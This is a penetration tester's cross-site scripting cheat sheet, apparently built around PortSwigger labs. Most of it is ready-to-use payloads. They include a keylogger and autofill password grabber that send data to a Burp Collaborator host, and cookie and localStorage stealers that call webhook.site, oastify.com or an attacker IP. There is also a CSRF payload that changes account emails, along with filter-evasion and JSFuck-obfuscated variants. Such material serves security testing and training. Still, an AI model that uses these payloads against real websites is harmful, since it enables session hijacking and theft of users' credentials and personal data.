Cross Site Scripting (XSS)

See labs WebSecurityAcademy (PortSwigger) – HTTP request smuggling (Exploiting HTTP request smuggling to deliver reflected XSS).

Vulnerability description for reporting available in VulnDB (GitHub)

XSS Types

  • Reflected XSS: the malicious script comes from the current HTTP request.
  • Stored XSS: the malicious script comes from the website’s database.
  • DOM-based XSS: the vulnerability exists in the client-side code rather than server-side code.

Reflected / Stored XSS – Examples

Insert Javascript into URL parameters (GET), hidden fields, forms (stored XSS)

<script>alert('XSS')<script/>
<img src="javascript:alert('XSS');">
url?param=alert('XSS')<script/></p> <h1>Create web page for POST requests</h1> <p>document.write('Hacked')</p> <p><img src="javascript:alert('XSS');"></p>
<script src="http://localhost/a.js">
 a.js:
 document.body.innerHTML="<h1>XSS</h1><br/><img src='http://x.x.x.x/a.jpg' />";
<a onmouseover="alert(new Date())">ALERT</a>

Steal local storage

if ('localStorage' in window && window['localStorage'] !== null) {
    new Image().src = 'https://webhook.site/<id>?localStorage='+JSON.stringify(window['localStorage']);
}
<image/src/onerror=prompt(JSON.stringify(localStorage))>

Steal cookies + local storage

<script>alert('Cookies: ' + document.cookie + ' Local storage: ' + JSON.stringify(window['localStorage']));</script>

Redirection to a malicious site or content

<script>window.location.href="https://loremflickr.com/320/240/alpaca"</script>
<script>location="https://loremflickr.com/320/240/alpaca"</script>

From inside an iframe

<script>window.parent.window.location.href="https://somesite"</script>
<script>parent.document.body.innerHTML = "<p>XSS</p>";</script>

XSS Locator (Polygot)

javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

Malformed A tags: browser might add missing quotes

<a onmouseover=alert(document.cookie)>xxs link</a>

Default SRC tag to get past filters that check SRC domain

<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC=# onmouseover="document.write('Hacked')">
<IMG SRC=# onmouseover="document.write('<img src=https://images.app.goo.gl/ipJoPTyhrSMvHMvt5>')">

Angular

https://someurl/somepage.pl?request_id=%7B%7Bconstructor.constructor(%27alert(document.cookie)%27)()%7D%7D

Keylogger

Tested during the lab Exploiting cross-site scripting to capture passwords.

<script>
var buffer = "";
var url = 'https://<BURP COLLABORATOR ID>.oastify.com/?data='

document.onkeypress = function(e) {
    buffer = buffer + e.key;
}

window.setInterval(function() {
    if (buffer.length > 0) {
        var data = encodeURIComponent(buffer);
        new Image().src = url + data;
        buffer = "";
    }
}, 2000);
</script>

To steal credentials from autofill (like password manager’s autofill), add input fields like this after the keylogger payload:

<input name=username id=username>
<input type=password name=password>

Steal cookies

<script>document.location='https://<BURP COLLABORATOR ID>.oastify.com?cookie='+document.cookie</script>
<script>new Image().src="https://<BURP COLLABORATOR ID>.oastify.com?cookies="+document.cookie;</script>
<svg/onload=fetch(`//<BURP COLLABORATOR ID>\.oastify.com?c=`%2bdocument.cookie)>
<svg/onload=import(`//<BURP COLLABORATOR ID>\.oastify.com?c=`%2bdocument.cookie)>

myprecious.js

document.write('<img src="http://x.x.x.x/myprecious.png?cookie=' + document.cookie + '" />');

Optional: Download transparent image

Stealthier, this will remove the image missing icon.

wget -O myprecious.png https://upload.wikimedia.org/wikipedia/commons/c/ca/1x1.png

Start a Python HTTP server

python3 -m http.server 80

XSS Payload

<script src="http://x.x.x.x/myprecious.js" />

XSS with CSRF

<script>
    var request = new XMLHttpRequest();
    request.onload = handleResponse;
    request.open('GET','/my-account',true); // Get the CSRF token
    request.send();

    function handleResponse() {
        // Extract the CSRF token
        var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];

        // Send a POST request to execute the CSRF
        var request2 = new XMLHttpRequest();
        request2.open('POST', '/my-account/change-email', true);
        request2.send('email=CSRF@example.com&csrf='+token);
    };
</script>

DOM-based XSS

See Testing for DOM based Cross Site Scripting (WSTG-CLNT-01)

DOM Invader

Use DOMInvader test cases to test.

See lab Practitioner – DOM XSS via client-side prototype pollution.

Available in the Chrome browser with Burp Suite (pro and community versions). Allows to find DOM-based XSS. Canaries are random strings of characters.

  • In the Proxy -> Intercept tab, click on Open browser.
  • Click on the extension icon and pin the Burp Suite Container extension if not already pinned.
  • Click on the Burp Suite Container icon and then on the DOM Invader tab.
  • Click on Dom Invader is off to enable it.
  • Change the canary (random string) to “burpdomxss” (optional). Click Update canary.
  • Access the web application to test.
  • Right-click on the page, click on Inspect to open the DevTools.
  • Click on the DOM Invader tab.
  • DOM tab:
    • Stack Trace: when something is found, click on the link under Stack Trace and click on the Console tab to understand where this code is called and where the canary value occurs. Click on the most recent link in the stack trace (at the bottom).
    • Inject the canary in the URL: navigate to a page with GET parameters. Click on the Inject URL params button.
    • Inject canary into forms: navigate to a page with a form. Click on Inject forms. Submit the form. When something is found, update the value in the vulnerable parameter to exploit the XSS and the value will be updated in value under Sinks.
    • Auto fire events and redirection prevention: useful to find vulnerabilities in event listeners. Click on the Burp Suite Container extension icon, Misc -> Auto fire events are off (will automatically click on links for you and fire events) and Misc -> Redirection prevention is off (stop the page from being redirected to a different URL) Click Reload. Navigate the web application.
  • Messages tab: used for Web Messages
    • Message interception: Click on the Burp Suite Container extension icon, Postmessage interception is off (turn off other sub-settings). Click on Reload. The Data column is what is being sent. Click on the message to see all information.
    • Spoofing message origin: same steps as Message interception, but enable sub-setting Postmessage origin spoofing is off. Click on Reload. To spoof origin of one message only, disable Postmessage origin spoofing and click on the message. Click on checkbox Spoof origin.
    • Generating automated messages: when no messages appear in the Messages tab follow same steps as Message interception, but enable sub-setting Generate automated messages is off. Click on Reload.
    • Replaying messages: when a message appears, click on it to see the details. Edit the Data if needed (like “<img src=1 onerror=alert(1)>”) and click Send (CTRL+Enter).
    • Building a Proof of Concept: when a message appears, click on it to see the details. Edit the Data if needed (like “<img src=1 onerror=alert(1)>”) and click Build PoC.

Scanning

The majority of DOM XSS vulnerabilities can be found quickly and reliably using Burp Suite’s web vulnerability scanner.

Test manually

Use a web browser with the developer tools. You need to work through each available source in turn, and test each one individually.

XSS Evasion techniques

Obfuscation examples: img & alert

See XSS Filter Evasion Cheat Sheet (OWASP).

<img src=1 oNeRrOr=alert`1`>
<img src=1 onerror="location='javascript:=lert(1)'">
<img src=1 onerror="location='javascript:%61lert(1)'">
<img src=1 onerror="location='javascript:\x2561lert(1)'">
<img src=1 onerror="location='javascript:\x255Cu0061lert(1)'">

Decimal HTML characters

<img src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

Bypass restrictions on tags and events

Send the vulnerable request to the Intruder module to find allowed tags.

GET /?vulnerableparam=<§tag§> HTTP/2
...

Blocked keywords

When “document.cookie” is blacklisted, you can use cookieStore to access the session token (when HttpOnly flag is not set).

<img src=x onerror​='const createPromise = new Promise((resolve, reject) => resolve(cookieStore.get("<cookie name>")));createPromise.then((promisedata) => {confirm(promisedata.value)})'>

JSFuck

Use JsFuck. It uses only 6 different characters to write and execute JS code. The code must be put between <script>JSFuck generated code</script> unless the application uses eval().

Examples with alert(1)

<img src=x onerror=[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])();>
<html>
<head>
<script>[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])</script>
</head>

<body></body>
</html>

Within the username parameter

https://domain.com/login.jsp?username=[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()